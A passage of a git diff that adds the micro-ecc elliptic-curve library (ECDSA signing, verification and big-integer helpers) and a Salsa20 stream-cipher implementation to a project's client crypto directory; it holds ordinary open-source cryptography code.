hash_context->update_hash(hash_context, result, hash_context->result_size); + hash_context->finish_hash(hash_context, result); +} + +/* V = HMAC_K(V) */ +static void update_V(uECC_HashContext *hash_context, uint8_t *K, uint8_t *V) { + HMAC_init(hash_context, K); + HMAC_update(hash_context, V, hash_context->result_size); + HMAC_finish(hash_context, K, V); +} + +/* Deterministic signing, similar to RFC 6979. Differences are: + * We just use H(m) directly rather than bits2octets(H(m)) + (it is not reduced modulo curve_n). + * We generate a value for k (aka T) directly rather than converting endianness. + + Layout of hash_context->tmp: | | (1 byte overlapped 0x00 or 0x01) / */ +int uECC_sign_deterministic(const uint8_t *private_key, + const uint8_t *message_hash, + unsigned hash_size, + uECC_HashContext *hash_context, + uint8_t *signature, + uECC_Curve curve) { + uint8_t *K = hash_context->tmp; + uint8_t *V = K + hash_context->result_size; + wordcount_t num_bytes = curve->num_bytes; + wordcount_t num_n_words = BITS_TO_WORDS(curve->num_n_bits); + bitcount_t num_n_bits = curve->num_n_bits; + uECC_word_t tries; + unsigned i; + for (i = 0; i < hash_context->result_size; ++i) { + V[i] = 0x01; + K[i] = 0; + } + + /* K = HMAC_K(V || 0x00 || int2octets(x) || h(m)) */ + HMAC_init(hash_context, K); + V[hash_context->result_size] = 0x00; + HMAC_update(hash_context, V, hash_context->result_size + 1); + HMAC_update(hash_context, private_key, num_bytes); + HMAC_update(hash_context, message_hash, hash_size); + HMAC_finish(hash_context, K, K); + + update_V(hash_context, K, V); + + /* K = HMAC_K(V || 0x01 || int2octets(x) || h(m)) */ + HMAC_init(hash_context, K); + V[hash_context->result_size] = 0x01; + HMAC_update(hash_context, V, hash_context->result_size + 1); + HMAC_update(hash_context, private_key, num_bytes); + HMAC_update(hash_context, message_hash, hash_size); + HMAC_finish(hash_context, K, K); + + update_V(hash_context, K, V); + + for (tries = 0; tries < uECC_RNG_MAX_TRIES; ++tries) { + uECC_word_t T[uECC_MAX_WORDS]; + uint8_t *T_ptr = (uint8_t *)T; + wordcount_t T_bytes = 0; + for (;;) { + update_V(hash_context, K, V); + for (i = 0; i < hash_context->result_size; ++i) { + T_ptr[T_bytes++] = V[i]; + if (T_bytes >= num_n_words * uECC_WORD_SIZE) { + goto filled; + } + } + } + filled: + if ((bitcount_t)num_n_words * uECC_WORD_SIZE * 8 > num_n_bits) { + uECC_word_t mask = (uECC_word_t)-1; + T[num_n_words - 1] &= + mask >> ((bitcount_t)(num_n_words * uECC_WORD_SIZE * 8 - num_n_bits)); + } + + if (uECC_sign_with_k(private_key, message_hash, hash_size, T, signature, curve)) { + return 1; + } + + /* K = HMAC_K(V || 0x00) */ + HMAC_init(hash_context, K); + V[hash_context->result_size] = 0x00; + HMAC_update(hash_context, V, hash_context->result_size + 1); + HMAC_finish(hash_context, K, K); + + update_V(hash_context, K, V); + } + return 0; +} + +static bitcount_t smax(bitcount_t a, bitcount_t b) { + return (a > b ? a : b); +} + +int uECC_verify(const uint8_t *public_key, + const uint8_t *message_hash, + unsigned hash_size, + const uint8_t *signature, + uECC_Curve curve) { + uECC_word_t u1[uECC_MAX_WORDS], u2[uECC_MAX_WORDS]; + uECC_word_t z[uECC_MAX_WORDS]; + uECC_word_t public[uECC_MAX_WORDS * 2]; + uECC_word_t sum[uECC_MAX_WORDS * 2]; + uECC_word_t rx[uECC_MAX_WORDS]; + uECC_word_t ry[uECC_MAX_WORDS]; + uECC_word_t tx[uECC_MAX_WORDS]; + uECC_word_t ty[uECC_MAX_WORDS]; + uECC_word_t tz[uECC_MAX_WORDS]; + const uECC_word_t *points[4]; + const uECC_word_t *point; + bitcount_t num_bits; + bitcount_t i; + uECC_word_t r[uECC_MAX_WORDS], s[uECC_MAX_WORDS]; + wordcount_t num_words = curve->num_words; + wordcount_t num_n_words = BITS_TO_WORDS(curve->num_n_bits); + + rx[num_n_words - 1] = 0; + r[num_n_words - 1] = 0; + s[num_n_words - 1] = 0; + + uECC_vli_bytesToNative(public, public_key, curve->num_bytes); + uECC_vli_bytesToNative( + public + num_words, public_key + curve->num_bytes, curve->num_bytes); + uECC_vli_bytesToNative(r, signature, curve->num_bytes); + uECC_vli_bytesToNative(s, signature + curve->num_bytes, curve->num_bytes); + + /* r, s must not be 0. */ + if (uECC_vli_isZero(r, num_words) || uECC_vli_isZero(s, num_words)) { + return 0; + } + + /* r, s must be < n. */ + if (uECC_vli_cmp_unsafe(curve->n, r, num_n_words) != 1 || + uECC_vli_cmp_unsafe(curve->n, s, num_n_words) != 1) { + return 0; + } + + /* Calculate u1 and u2. */ + uECC_vli_modInv(z, s, curve->n, num_n_words); /* z = 1/s */ + u1[num_n_words - 1] = 0; + bits2int(u1, message_hash, hash_size, curve); + uECC_vli_modMult(u1, u1, z, curve->n, num_n_words); /* u1 = e/s */ + uECC_vli_modMult(u2, r, z, curve->n, num_n_words); /* u2 = r/s */ + + /* Calculate sum = G + Q. */ + uECC_vli_set(sum, public, num_words); + uECC_vli_set(sum + num_words, public + num_words, num_words); + uECC_vli_set(tx, curve->G, num_words); + uECC_vli_set(ty, curve->G + num_words, num_words); + uECC_vli_modSub(z, sum, tx, curve->p, num_words); /* z = x2 - x1 */ + XYcZ_add(tx, ty, sum, sum + num_words, curve); + uECC_vli_modInv(z, z, curve->p, num_words); /* z = 1/z */ + apply_z(sum, sum + num_words, z, curve); + + /* Use Shamir's trick to calculate u1*G + u2*Q */ + points[0] = 0; + points[1] = curve->G; + points[2] = public; + points[3] = sum; + num_bits = smax(uECC_vli_numBits(u1, num_n_words), + uECC_vli_numBits(u2, num_n_words)); + + point = points[(!!uECC_vli_testBit(u1, num_bits - 1)) | + ((!!uECC_vli_testBit(u2, num_bits - 1)) << 1)]; + uECC_vli_set(rx, point, num_words); + uECC_vli_set(ry, point + num_words, num_words); + uECC_vli_clear(z, num_words); + z[0] = 1; + + for (i = num_bits - 2; i >= 0; --i) { + uECC_word_t index; + curve->double_jacobian(rx, ry, z, curve); + + index = (!!uECC_vli_testBit(u1, i)) | ((!!uECC_vli_testBit(u2, i)) << 1); + point = points[index]; + if (point) { + uECC_vli_set(tx, point, num_words); + uECC_vli_set(ty, point + num_words, num_words); + apply_z(tx, ty, z, curve); + uECC_vli_modSub(tz, rx, tx, curve->p, num_words); /* Z = x2 - x1 */ + XYcZ_add(tx, ty, rx, ry, curve); + uECC_vli_modMult_fast(z, z, tz, curve); + } + } + + uECC_vli_modInv(z, z, curve->p, num_words); /* Z = 1/Z */ + apply_z(rx, ry, z, curve); + + /* v = x1 (mod n) */ + if (uECC_vli_cmp_unsafe(curve->n, rx, num_n_words) != 1) { + uECC_vli_sub(rx, rx, curve->n, num_n_words); + } + + /* Accept only if v == r. */ + return (int)(uECC_vli_equal(rx, r, num_words)); +} + +#if uECC_ENABLE_VLI_API + +unsigned uECC_curve_num_words(uECC_Curve curve) { + return curve->num_words; +} + +unsigned uECC_curve_num_bits(uECC_Curve curve) { + return curve->num_bytes * 8; +} + +unsigned uECC_curve_num_n_words(uECC_Curve curve) { + return BITS_TO_WORDS(curve->num_n_bits); +} + +unsigned uECC_curve_num_n_bits(uECC_Curve curve) { + return curve->num_n_bits; +} + +const uECC_word_t *uECC_curve_p(uECC_Curve curve) { + return curve->p; +} + +const uECC_word_t *uECC_curve_n(uECC_Curve curve) { + return curve->n; +} + +const uECC_word_t *uECC_curve_G(uECC_Curve curve) { + return curve->G; +} + +const uECC_word_t *uECC_curve_b(uECC_Curve curve) { + return curve->b; +} + +#if uECC_SUPPORT_COMPRESSED_POINT +void uECC_vli_mod_sqrt(uECC_word_t *a, uECC_Curve curve) { + curve->mod_sqrt(a, curve); +} +#endif + +void uECC_vli_mmod_fast(uECC_word_t *result, uECC_word_t *product, uECC_Curve curve) { +#if (uECC_OPTIMIZATION_LEVEL > 0) + curve->mmod_fast(result, product); +#else + uECC_vli_mmod(result, product, curve->p, curve->num_words); +#endif +} + +void uECC_point_mult(uECC_word_t *result, + const uECC_word_t *point, + const uECC_word_t *scalar, + uECC_Curve curve) { + uECC_word_t tmp1[uECC_MAX_WORDS]; + uECC_word_t tmp2[uECC_MAX_WORDS]; + uECC_word_t *p2[2] = {tmp1, tmp2}; + uECC_word_t carry = regularize_k(scalar, tmp1, tmp2, curve); + + EccPoint_mult(result, point, p2[!carry], 0, curve->num_n_bits + 1, curve); +} + +#endif /* uECC_ENABLE_VLI_API */ diff --git a/client/libs/crypto/micro-ecc/uECC.h b/client/libs/crypto/micro-ecc/uECC.h new file mode 100644 index 0000000..f63c73d --- /dev/null +++ b/client/libs/crypto/micro-ecc/uECC.h @@ -0,0 +1,330 @@ +/* Copyright 2014, Kenneth MacKay. Licensed under the BSD 2-clause license. */ + +#ifndef _UECC_H_ +#define _UECC_H_ + +#include "libs/types.h" + +/* Platform selection options. +If uECC_PLATFORM is not defined, the code will try to guess it based on compiler macros. +Possible values for uECC_PLATFORM are defined below: */ +#define uECC_arch_other 0 +#define uECC_x86 1 +#define uECC_x86_64 2 +#define uECC_arm 3 +#define uECC_arm_thumb 4 +#define uECC_arm_thumb2 5 +#define uECC_arm64 6 +#define uECC_avr 7 + +/* If desired, you can define uECC_WORD_SIZE as appropriate for your platform (1, 4, or 8 bytes). +If uECC_WORD_SIZE is not explicitly defined then it will be automatically set based on your +platform. */ + +/* Optimization level; trade speed for code size. + Larger values produce code that is faster but larger. + Currently supported values are 0 - 3; 0 is unusably slow for most applications. */ +#ifndef uECC_OPTIMIZATION_LEVEL + #define uECC_OPTIMIZATION_LEVEL 2 +#endif + +/* uECC_SQUARE_FUNC - If enabled (defined as nonzero), this will cause a specific function to be +used for (scalar) squaring instead of the generic multiplication function. This can make things +faster somewhat faster, but increases the code size. */ +#ifndef uECC_SQUARE_FUNC + #define uECC_SQUARE_FUNC 0 +#endif + +/* Curve support selection. Set to 0 to remove that curve. */ +#ifndef uECC_SUPPORTS_secp160r1 + #define uECC_SUPPORTS_secp160r1 1 +#endif +#ifndef uECC_SUPPORTS_secp192r1 + #define uECC_SUPPORTS_secp192r1 1 +#endif +#ifndef uECC_SUPPORTS_secp224r1 + #define uECC_SUPPORTS_secp224r1 1 +#endif +#ifndef uECC_SUPPORTS_secp256r1 + #define uECC_SUPPORTS_secp256r1 1 +#endif +#ifndef uECC_SUPPORTS_secp256k1 + #define uECC_SUPPORTS_secp256k1 1 +#endif + +/* Specifies whether compressed point format is supported. + Set to 0 to disable point compression/decompression functions. */ +#ifndef uECC_SUPPORT_COMPRESSED_POINT + #define uECC_SUPPORT_COMPRESSED_POINT 1 +#endif + +struct uECC_Curve_t; +typedef const struct uECC_Curve_t * uECC_Curve; + +#ifdef __cplusplus +extern "C" +{ +#endif + +#if uECC_SUPPORTS_secp160r1 +uECC_Curve uECC_secp160r1(void); +#endif +#if uECC_SUPPORTS_secp192r1 +uECC_Curve uECC_secp192r1(void); +#endif +#if uECC_SUPPORTS_secp224r1 +uECC_Curve uECC_secp224r1(void); +#endif +#if uECC_SUPPORTS_secp256r1 +uECC_Curve uECC_secp256r1(void); +#endif +#if uECC_SUPPORTS_secp256k1 +uECC_Curve uECC_secp256k1(void); +#endif + +/* uECC_RNG_Function type +The RNG function should fill 'size' random bytes into 'dest'. It should return 1 if +'dest' was filled with random data, or 0 if the random data could not be generated. +The filled-in values should be either truly random, or from a cryptographically-secure PRNG. + +A correctly functioning RNG function must be set (using uECC_set_rng()) before calling +uECC_make_key() or uECC_sign(). + +Setting a correctly functioning RNG function improves the resistance to side-channel attacks +for uECC_shared_secret() and uECC_sign_deterministic(). + +A correct RNG function is set by default when building for Windows, Linux, or OS X. +If you are building on another POSIX-compliant system that supports /dev/random or /dev/urandom, +you can define uECC_POSIX to use the predefined RNG. For embedded platforms there is no predefined +RNG function; you must provide your own. +*/ +typedef int (*uECC_RNG_Function)(uint8_t *dest, unsigned size); + +/* uECC_set_rng() function. +Set the function that will be used to generate random bytes. The RNG function should +return 1 if the random data was generated, or 0 if the random data could not be generated. + +On platforms where there is no predefined RNG function (eg embedded platforms), this must +be called before uECC_make_key() or uECC_sign() are used. + +Inputs: + rng_function - The function that will be used to generate random bytes. +*/ +void uECC_set_rng(uECC_RNG_Function rng_function); + +/* uECC_make_key() function. +Create a public/private key pair. + +Outputs: + public_key - Will be filled in with the public key. Must be at least 2 * the curve size + (in bytes) long. For example, if the curve is secp256r1, public_key must be 64 + bytes long. + private_key - Will be filled in with the private key. Must be as long as the curve order; this + is typically the same as the curve size, except for secp160r1. For example, if the + curve is secp256r1, private_key must be 32 bytes long. + + For secp160r1, private_key must be 21 bytes long! Note that the first byte will + almost always be 0 (there is about a 1 in 2^80 chance of it being non-zero). + +Returns 1 if the key pair was generated successfully, 0 if an error occurred. +*/ +int uECC_make_key(uint8_t *public_key, uint8_t *private_key, uECC_Curve curve); + +/* uECC_shared_secret() function. +Compute a shared secret given your secret key and someone else's public key. +Note: It is recommended that you hash the result of uECC_shared_secret() before using it for +symmetric encryption or HMAC. + +Inputs: + public_key - The public key of the remote party. + private_key - Your private key. + +Outputs: + secret - Will be filled in with the shared secret value. Must be the same size as the + curve size; for example, if the curve is secp256r1, secret must be 32 bytes long. + +Returns 1 if the shared secret was generated successfully, 0 if an error occurred. +*/ +int uECC_shared_secret(const uint8_t *public_key, + const uint8_t *private_key, + uint8_t *secret, + uECC_Curve curve); + +#if uECC_SUPPORT_COMPRESSED_POINT +/* uECC_compress() function. +Compress a public key. + +Inputs: + public_key - The public key to compress. + +Outputs: + compressed - Will be filled in with the compressed public key. Must be at least + (curve size + 1) bytes long; for example, if the curve is secp256r1, + compressed must be 33 bytes long. +*/ +void uECC_compress(const uint8_t *public_key, uint8_t *compressed, uECC_Curve curve); + +/* uECC_decompress() function. +Decompress a compressed public key. + +Inputs: + compressed - The compressed public key. + +Outputs: + public_key - Will be filled in with the decompressed public key. +*/ +void uECC_decompress(const uint8_t *compressed, uint8_t *public_key, uECC_Curve curve); +#endif /* uECC_SUPPORT_COMPRESSED_POINT */ + +/* uECC_valid_public_key() function. +Check to see if a public key is valid. + +Note that you are not required to check for a valid public key before using any other uECC +functions. However, you may wish to avoid spending CPU time computing a shared secret or +verifying a signature using an invalid public key. + +Inputs: + public_key - The public key to check. + +Returns 1 if the public key is valid, 0 if it is invalid. +*/ +int uECC_valid_public_key(const uint8_t *public_key, uECC_Curve curve); + +/* uECC_compute_public_key() function. +Compute the corresponding public key for a private key. + +Inputs: + private_key - The private key to compute the public key for + +Outputs: + public_key - Will be filled in with the corresponding public key + +Returns 1 if the key was computed successfully, 0 if an error occurred. +*/ +int uECC_compute_public_key(const uint8_t *private_key, uint8_t *public_key, uECC_Curve curve); + +/* uECC_sign() function. +Generate an ECDSA signature for a given hash value. + +Usage: Compute a hash of the data you wish to sign (SHA-2 is recommended) and pass it in to +this function along with your private key. + +Inputs: + private_key - Your private key. + message_hash - The hash of the message to sign. + hash_size - The size of message_hash in bytes. + +Outputs: + signature - Will be filled in with the signature value. Must be at least 2 * curve size long. + For example, if the curve is secp256r1, signature must be 64 bytes long. + +Returns 1 if the signature generated successfully, 0 if an error occurred. +*/ +int uECC_sign(const uint8_t *private_key, + const uint8_t *message_hash, + unsigned hash_size, + uint8_t *signature, + uECC_Curve curve); + +/* uECC_HashContext structure. +This is used to pass in an arbitrary hash function to uECC_sign_deterministic(). +The structure will be used for multiple hash computations; each time a new hash +is computed, init_hash() will be called, followed by one or more calls to +update_hash(), and finally a call to finish_hash() to prudoce the resulting hash. + +The intention is that you will create a structure that includes uECC_HashContext +followed by any hash-specific data. For example: + +typedef struct SHA256_HashContext { + uECC_HashContext uECC; + SHA256_CTX ctx; +} SHA256_HashContext; + +void init_SHA256(uECC_HashContext *base) { + SHA256_HashContext *context = (SHA256_HashContext *)base; + SHA256_Init(&context->ctx); +} + +void update_SHA256(uECC_HashContext *base, + const uint8_t *message, + unsigned message_size) { + SHA256_HashContext *context = (SHA256_HashContext *)base; + SHA256_Update(&context->ctx, message, message_size); +} + +void finish_SHA256(uECC_HashContext *base, uint8_t *hash_result) { + SHA256_HashContext *context = (SHA256_HashContext *)base; + SHA256_Final(hash_result, &context->ctx); +} + +... when signing ... +{ + uint8_t tmp[32 + 32 + 64]; + SHA256_HashContext ctx = {{&init_SHA256, &update_SHA256, &finish_SHA256, 64, 32, tmp}}; + uECC_sign_deterministic(key, message_hash, &ctx.uECC, signature); +} +*/ +typedef struct uECC_HashContext { + void (*init_hash)(struct uECC_HashContext *context); + void (*update_hash)(struct uECC_HashContext *context, + const uint8_t *message, + unsigned message_size); + void (*finish_hash)(struct uECC_HashContext *context, uint8_t *hash_result); + unsigned block_size; /* Hash function block size in bytes, eg 64 for SHA-256. */ + unsigned result_size; /* Hash function result size in bytes, eg 32 for SHA-256. */ + uint8_t *tmp; /* Must point to a buffer of at least (2 * result_size + block_size) bytes. */ +} uECC_HashContext; + +/* uECC_sign_deterministic() function. +Generate an ECDSA signature for a given hash value, using a deterministic algorithm +(see RFC 6979). You do not need to set the RNG using uECC_set_rng() before calling +this function; however, if the RNG is defined it will improve resistance to side-channel +attacks. + +Usage: Compute a hash of the data you wish to sign (SHA-2 is recommended) and pass it in to +this function along with your private key and a hash context. Note that the message_hash +does not need to be computed with the same hash function used by hash_context. + +Inputs: + private_key - Your private key. + message_hash - The hash of the message to sign. + hash_size - The size of message_hash in bytes. + hash_context - A hash context to use. + +Outputs: + signature - Will be filled in with the signature value. + +Returns 1 if the signature generated successfully, 0 if an error occurred. +*/ +int uECC_sign_deterministic(const uint8_t *private_key, + const uint8_t *message_hash, + unsigned hash_size, + uECC_HashContext *hash_context, + uint8_t *signature, + uECC_Curve curve); + +/* uECC_verify() function. +Verify an ECDSA signature. + +Usage: Compute the hash of the signed data using the same hash as the signer and +pass it to this function along with the signer's public key and the signature values (r and s). + +Inputs: + public_key - The signer's public key. + message_hash - The hash of the signed data. + hash_size - The size of message_hash in bytes. + signature - The signature value. + +Returns 1 if the signature is valid, 0 if it is invalid. +*/ +int uECC_verify(const uint8_t *private_key, + const uint8_t *message_hash, + unsigned hash_size, + const uint8_t *signature, + uECC_Curve curve); + +#ifdef __cplusplus +} /* end of extern "C" */ +#endif + +#endif /* _UECC_H_ */ diff --git a/client/libs/crypto/micro-ecc/uECC_vli.h b/client/libs/crypto/micro-ecc/uECC_vli.h new file mode 100644 index 0000000..e432bc0 --- /dev/null +++ b/client/libs/crypto/micro-ecc/uECC_vli.h @@ -0,0 +1,170 @@ +/* Copyright 2015, Kenneth MacKay. Licensed under the BSD 2-clause license. */ + +#ifndef _UECC_VLI_H_ +#define _UECC_VLI_H_ + +#include "uECC.h" +#include "types.h" + +/* Functions for raw large-integer manipulation. These are only available + if uECC.c is compiled with uECC_ENABLE_VLI_API defined to 1. */ +#ifndef uECC_ENABLE_VLI_API + #define uECC_ENABLE_VLI_API 0 +#endif + +#ifdef __cplusplus +extern "C" +{ +#endif + +#if uECC_ENABLE_VLI_API + +void uECC_vli_clear(uECC_word_t *vli, wordcount_t num_words); + +/* Constant-time comparison to zero - secure way to compare long integers */ +/* Returns 1 if vli == 0, 0 otherwise. */ +uECC_word_t uECC_vli_isZero(const uECC_word_t *vli, wordcount_t num_words); + +/* Returns nonzero if bit 'bit' of vli is set. */ +uECC_word_t uECC_vli_testBit(const uECC_word_t *vli, bitcount_t bit); + +/* Counts the number of bits required to represent vli. */ +bitcount_t uECC_vli_numBits(const uECC_word_t *vli, const wordcount_t max_words); + +/* Sets dest = src. */ +void uECC_vli_set(uECC_word_t *dest, const uECC_word_t *src, wordcount_t num_words); + +/* Constant-time comparison function - secure way to compare long integers */ +/* Returns one if left == right, zero otherwise */ +uECC_word_t uECC_vli_equal(const uECC_word_t *left, + const uECC_word_t *right, + wordcount_t num_words); + +/* Constant-time comparison function - secure way to compare long integers */ +/* Returns sign of left - right, in constant time. */ +cmpresult_t uECC_vli_cmp(const uECC_word_t *left, const uECC_word_t *right, wordcount_t num_words); + +/* Computes vli = vli >> 1. */ +void uECC_vli_rshift1(uECC_word_t *vli, wordcount_t num_words); + +/* Computes result = left + right, returning carry. Can modify in place. */ +uECC_word_t uECC_vli_add(uECC_word_t *result, + const uECC_word_t *left, + const uECC_word_t *right, + wordcount_t num_words); + +/* Computes result = left - right, returning borrow. Can modify in place. */ +uECC_word_t uECC_vli_sub(uECC_word_t *result, + const uECC_word_t *left, + const uECC_word_t *right, + wordcount_t num_words); + +/* Computes result = left * right. Result must be 2 * num_words long. */ +void uECC_vli_mult(uECC_word_t *result, + const uECC_word_t *left, + const uECC_word_t *right, + wordcount_t num_words); + +/* Computes result = left^2. Result must be 2 * num_words long. */ +void uECC_vli_square(uECC_word_t *result, const uECC_word_t *left, wordcount_t num_words); + +/* Computes result = (left + right) % mod. + Assumes that left < mod and right < mod, and that result does not overlap mod. */ +void uECC_vli_modAdd(uECC_word_t *result, + const uECC_word_t *left, + const uECC_word_t *right, + const uECC_word_t *mod, + wordcount_t num_words); + +/* Computes result = (left - right) % mod. + Assumes that left < mod and right < mod, and that result does not overlap mod. */ +void uECC_vli_modSub(uECC_word_t *result, + const uECC_word_t *left, + const uECC_word_t *right, + const uECC_word_t *mod, + wordcount_t num_words); + +/* Computes result = product % mod, where product is 2N words long. + Currently only designed to work for mod == curve->p or curve_n. */ +void uECC_vli_mmod(uECC_word_t *result, + uECC_word_t *product, + const uECC_word_t *mod, + wordcount_t num_words); + +/* Calculates result = product (mod curve->p), where product is up to + 2 * curve->num_words long. */ +void uECC_vli_mmod_fast(uECC_word_t *result, uECC_word_t *product, uECC_Curve curve); + +/* Computes result = (left * right) % mod. + Currently only designed to work for mod == curve->p or curve_n. */ +void uECC_vli_modMult(uECC_word_t *result, + const uECC_word_t *left, + const uECC_word_t *right, + const uECC_word_t *mod, + wordcount_t num_words); + +/* Computes result = (left * right) % curve->p. */ +void uECC_vli_modMult_fast(uECC_word_t *result, + const uECC_word_t *left, + const uECC_word_t *right, + uECC_Curve curve); + +/* Computes result = left^2 % mod. + Currently only designed to work for mod == curve->p or curve_n. */ +void uECC_vli_modSquare(uECC_word_t *result, + const uECC_word_t *left, + const uECC_word_t *mod, + wordcount_t num_words); + +/* Computes result = left^2 % curve->p. */ +void uECC_vli_modSquare_fast(uECC_word_t *result, const uECC_word_t *left, uECC_Curve curve); + +/* Computes result = (1 / input) % mod.*/ +void uECC_vli_modInv(uECC_word_t *result, + const uECC_word_t *input, + const uECC_word_t *mod, + wordcount_t num_words); + +#if uECC_SUPPORT_COMPRESSED_POINT +/* Calculates a = sqrt(a) (mod curve->p) */ +void uECC_vli_mod_sqrt(uECC_word_t *a, uECC_Curve curve); +#endif + +/* Converts an integer in uECC native format to big-endian bytes. */ +void uECC_vli_nativeToBytes(uint8_t *bytes, int num_bytes, const uECC_word_t *native); +/* Converts big-endian bytes to an integer in uECC native format. */ +void uECC_vli_bytesToNative(uECC_word_t *native, const uint8_t *bytes, int num_bytes); + +unsigned uECC_curve_num_words(uECC_Curve curve); +unsigned uECC_curve_num_bits(uECC_Curve curve); +unsigned uECC_curve_num_n_words(uECC_Curve curve); +unsigned uECC_curve_num_n_bits(uECC_Curve curve); + +const uECC_word_t *uECC_curve_p(uECC_Curve curve); +const uECC_word_t *uECC_curve_n(uECC_Curve curve); +const uECC_word_t *uECC_curve_G(uECC_Curve curve); +const uECC_word_t *uECC_curve_b(uECC_Curve curve); + +int uECC_valid_point(const uECC_word_t *point, uECC_Curve curve); + +/* Multiplies a point by a scalar. Points are represented by the X coordinate followed by + the Y coordinate in the same array, both coordinates are curve->num_words long. Note + that scalar must be curve->num_n_words long (NOT curve->num_words). */ +void uECC_point_mult(uECC_word_t *result, + const uECC_word_t *point, + const uECC_word_t *scalar, + uECC_Curve curve); + +/* Generates a random integer in the range 0 < random < top. + Both random and top have num_words words. */ +int uECC_generate_random_int(uECC_word_t *random, + const uECC_word_t *top, + wordcount_t num_words); + +#endif /* uECC_ENABLE_VLI_API */ + +#ifdef __cplusplus +} /* end of extern "C" */ +#endif + +#endif /* _UECC_VLI_H_ */ diff --git a/client/libs/crypto/salsa20.c b/client/libs/crypto/salsa20.c new file mode 100644 index 0000000..0ca0789 --- /dev/null +++ b/client/libs/crypto/salsa20.c @@ -0,0 +1,230 @@ +/* + * License; from https://github.com/alexwebr/salsa20/blob/master/LICENSE.txt + * The person or persons who have associated work with this document (the + * "Dedicator" or "Certifier") hereby either (a) certifies that, to the best of + * his knowledge, the work of authorship identified is in the public domain of + * the country from which the work is published, or (b) hereby dedicates + * whatever copyright the dedicators holds in the work of authorship identified + * below (the "Work") to the public domain. A certifier, moreover, dedicates + * any copyright interest he may have in the associated work, and for these + * purposes, is described as a "dedicator" below. + * + * A certifier has taken reasonable steps to verify the copyright status of + * this work. Certifier recognizes that his good faith efforts may not shield + * him from liability if in fact the work certified is not in the public + * domain. + * + * Dedicator makes this dedication for the benefit of the public at large and + * to the detriment of the Dedicator's heirs and successors. Dedicator intends + * this dedication to be an overt act of relinquishment in perpetuity of all + * present and future rights under copyright law, whether vested or contingent, + * in the Work. Dedicator understands that such relinquishment of all rights + * includes the relinquishment of all rights to enforce (by lawsuit or + * otherwise) those copyrights in the Work. + * + * Dedicator recognizes that, once placed in the public domain, the Work may be + * freely reproduced, distributed, transmitted, used, modified, built upon, or + * otherwise exploited by anyone for any purpose, commercial or non-commercial, + * and in any way, including by methods that have not yet been invented or + * conceived. + */ + +#include + +#include "libs/types.h" + +#include "salsa20.h" + +/* Implements DJB's definition of '<<<' */ +static uint32_t rotl(uint32_t value, int shift) +{ + return (value << shift) | (value >> (32 - shift)); +} + +static void s20_quarterround(uint32_t *y0, uint32_t *y1, uint32_t *y2, uint32_t *y3) +{ + *y1 = *y1 ^ rotl(*y0 + *y3, 7); + *y2 = *y2 ^ rotl(*y1 + *y0, 9); + *y3 = *y3 ^ rotl(*y2 + *y1, 13); + *y0 = *y0 ^ rotl(*y3 + *y2, 18); +} + +static void s20_rowround(uint32_t y[]) +{ + s20_quarterround(&y[0], &y[1], &y[2], &y[3]); + s20_quarterround(&y[5], &y[6], &y[7], &y[4]); + s20_quarterround(&y[10], &y[11], &y[8], &y[9]); + s20_quarterround(&y[15], &y[12], &y[13], &y[14]); +} + +static void s20_columnround(uint32_t x[]) +{ + s20_quarterround(&x[0], &x[4], &x[8], &x[12]); + s20_quarterround(&x[5], &x[9], &x[13], &x[1]); + s20_quarterround(&x[10], &x[14], &x[2], &x[6]); + s20_quarterround(&x[15], &x[3], &x[7], &x[11]); +} + +static void s20_doubleround(uint32_t x[]) +{ + s20_columnround(x); + s20_rowround(x); +} + +/* Creates a little-endian word from 4 bytes pointed to by b */ +static uint32_t s20_littleendian(uint8_t *b) +{ + return b[0] + + (b[1] << 8) + + (b[2] << 16) + + (b[3] << 24); +} + +/* Moves the little-endian word into the 4 bytes pointed to by b */ +static void s20_rev_littleendian(uint8_t *b, uint32_t w) +{ + b[0] = (uint8_t)(w >> 0); + b[1] = (uint8_t)(w >> 8); + b[2] = (uint8_t)(w >> 16); + b[3] = (uint8_t)(w >> 24); +} + +/* The core function of Salsa20 */ +static void s20_hash(uint8_t seq[]) +{ + int i; + uint32_t x[16]; + uint32_t z[16]; + + /* Create two copies of the state in little-endian format + * First copy is hashed together + * Second copy is added to first, word-by-word */ + for (i = 0; i < 16; ++i) + x[i] = z[i] = s20_littleendian(seq + (4 * i)); + + for (i = 0; i < 10; ++i) + s20_doubleround(z); + + for (i = 0; i < 16; ++i) { + z[i] += x[i]; + s20_rev_littleendian(seq + (4 * i), z[i]); + } +} + +/* The 16-byte (128-bit) key expansion function */ +static void s20_expand16(uint8_t *k, + uint8_t n[], + uint8_t keystream[]) +{ + int i, j; + /* The constants specified by the Salsa20 specification, 'tau' "expand 16-byte k" */ + uint8_t t[4][4] = { + { 'e', 'x', 'p', 'a' }, + { 'n', 'd', ' ', '1' }, + { '6', '-', 'b', 'y' }, + { 't', 'e', ' ', 'k' } + }; + + /* Copy all of 'tau' into the correct spots in our keystream block */ + for (i = 0; i < 64; i += 20) + for (j = 0; j < 4; ++j) + keystream[i + j] = t[i / 20][j]; + + /* Copy the key and the nonce into the keystream block */ + for (i = 0; i < 16; ++i) { + keystream[4+i] = k[i]; + keystream[44+i] = k[i]; + keystream[24+i] = n[i]; + } + + s20_hash(keystream); +} + + +/* The 32-byte (256-bit) key expansion function */ +static void s20_expand32(uint8_t *k, + uint8_t n[], + uint8_t keystream[]) +{ + int i, j; + /* The constants specified by the Salsa20 specification, 'sigma' + * "expand 32-byte k" */ + uint8_t o[4][4] = { + { 'e', 'x', 'p', 'a' }, + { 'n', 'd', ' ', '3' }, + { '2', '-', 'b', 'y' }, + { 't', 'e', ' ', 'k' } + }; + + /* Copy all of 'sigma' into the correct spots in our keystream block */ + for (i = 0; i < 64; i += 20) + for (j = 0; j < 4; ++j) + keystream[i + j] = o[i / 20][j]; + + /* Copy the key and the nonce into the keystream block */ + for (i = 0; i < 16; ++i) { + keystream[4+i] = k[i]; + keystream[44+i] = k[i+16]; + keystream[24+i] = n[i]; + } + + s20_hash(keystream); +} + + +/* Performs up to 2^32-1 bytes of encryption or decryption under a 128- or 256-bit key. */ +enum s20_status_t s20_crypt(uint8_t *key, + enum s20_keylen_t keylen, + uint8_t nonce[], + uint32_t si, + uint8_t *buf, + uint32_t buflen) +{ + uint8_t keystream[64]; + /* 'n' is the 8-byte nonce (unique message number) concatenated + * with the per-block 'counter' value (4 bytes in our case, 8 bytes + * in the standard). We leave the high 4 bytes set to zero because + * we permit only a 32-bit integer for stream index and length. */ + uint8_t n[16] = { 0 }; + uint32_t i; + + /* Pick an expansion function based on key size */ + void (*expand)(uint8_t *, uint8_t *, uint8_t *) = NULL; + if (keylen == S20_KEYLEN_256) + expand = s20_expand32; + if (keylen == S20_KEYLEN_128) + 